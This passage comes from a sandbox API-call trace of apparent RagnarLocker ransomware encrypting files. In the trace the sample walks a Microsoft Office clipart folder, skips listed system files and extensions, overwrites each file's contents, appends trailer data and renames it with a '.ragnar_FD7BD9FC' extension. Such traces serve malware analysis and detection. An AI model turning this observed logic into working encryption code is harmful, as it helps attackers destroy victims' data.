office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.400] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1536) returned 1 [0080.400] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.400] GetProcessHeap () returned 0x580000 [0080.400] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.400] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.401] VirtualAlloc (lpAddress=0x0, dwSize=0x600, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.402] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.402] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.402] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x600, lpOverlapped=0x0) returned 1 [0080.402] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.402] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x600, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.402] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x600, lpOverlapped=0x0) returned 1 [0080.402] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x600, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.402] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.402] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x600, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.402] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.402] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.402] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.402] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.403] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.403] GetProcessHeap () returned 0x580000 [0080.403] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.403] CloseHandle (hObject=0xf4) returned 1 [0080.403] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" [0080.403] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.ragnar_FD7BD9FC" [0080.403] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.403] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b67a200, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b67a200, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x1264, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00252_.WMF", cAlternateFileName="")) returned 1 [0080.403] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.403] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00252_.WMF" | out: lpString1="BL00252_.WMF") returned="BL00252_.WMF" [0080.403] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned=".WMF" [0080.403] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.403] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="autorun.inf") returned 1 [0080.403] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="boot.ini") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="bootfont.bin") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="bootsect.bak") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="bootmgr") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="bootmgr.efi") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="desktop.ini") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="iconcache.db") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="ntldr") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="ntuser.dat") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="ntuser.ini") returned -1 [0080.404] lstrcmpiW (lpString1="BL00252_.WMF", lpString2="thumbs.db") returned -1 [0080.404] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.404] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.404] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.404] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.404] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.404] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.404] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0080.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.404] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4708) returned 1 [0080.404] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x125b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.405] GetProcessHeap () returned 0x580000 [0080.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.405] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.407] VirtualAlloc (lpAddress=0x0, dwSize=0x1264, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.407] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.407] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.407] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1264, lpOverlapped=0x0) returned 1 [0080.408] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.408] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1264, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.408] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1264, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1264, lpOverlapped=0x0) returned 1 [0080.408] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1264, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.408] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.409] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.409] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.409] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.409] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.409] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.409] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.409] GetProcessHeap () returned 0x580000 [0080.409] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.409] CloseHandle (hObject=0xf4) returned 1 [0080.409] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" [0080.409] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.ragnar_FD7BD9FC" [0080.409] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.410] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9e7400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9e7400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00254_.WMF", cAlternateFileName="")) returned 1 [0080.410] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.410] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00254_.WMF" | out: lpString1="BL00254_.WMF") returned="BL00254_.WMF" [0080.410] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned=".WMF" [0080.410] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="autorun.inf") returned 1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="boot.ini") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="bootfont.bin") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="bootsect.bak") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="bootmgr") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="bootmgr.efi") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="desktop.ini") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="iconcache.db") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="ntldr") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="ntuser.dat") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="ntuser.ini") returned -1 [0080.411] lstrcmpiW (lpString1="BL00254_.WMF", lpString2="thumbs.db") returned -1 [0080.411] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.411] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.411] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.411] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.411] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.411] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.411] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0080.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.413] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1736) returned 1 [0080.413] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.413] GetProcessHeap () returned 0x580000 [0080.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.413] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.415] VirtualAlloc (lpAddress=0x0, dwSize=0x6c8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.415] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.415] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.415] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6c8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6c8, lpOverlapped=0x0) returned 1 [0080.415] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.415] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.416] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6c8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6c8, lpOverlapped=0x0) returned 1 [0080.416] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.416] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.416] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.416] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.417] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.417] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.417] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.417] GetProcessHeap () returned 0x580000 [0080.417] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.417] CloseHandle (hObject=0xf4) returned 1 [0080.417] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" [0080.417] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.ragnar_FD7BD9FC" [0080.417] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.418] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae0bf00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ae0bf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00261_.WMF", cAlternateFileName="")) returned 1 [0080.418] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.418] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00261_.WMF" | out: lpString1="BL00261_.WMF") returned="BL00261_.WMF" [0080.418] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned=".WMF" [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="autorun.inf") returned 1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="boot.ini") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="bootfont.bin") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="bootsect.bak") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="bootmgr") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="bootmgr.efi") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="desktop.ini") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="iconcache.db") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="ntldr") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="ntuser.dat") returned -1 [0080.418] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.419] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="ntuser.ini") returned -1 [0080.419] lstrcmpiW (lpString1="BL00261_.WMF", lpString2="thumbs.db") returned -1 [0080.419] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.419] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.419] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.419] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.419] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.419] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.419] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x20 [0080.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.419] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12482) returned 1 [0080.419] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.419] GetProcessHeap () returned 0x580000 [0080.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.419] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, 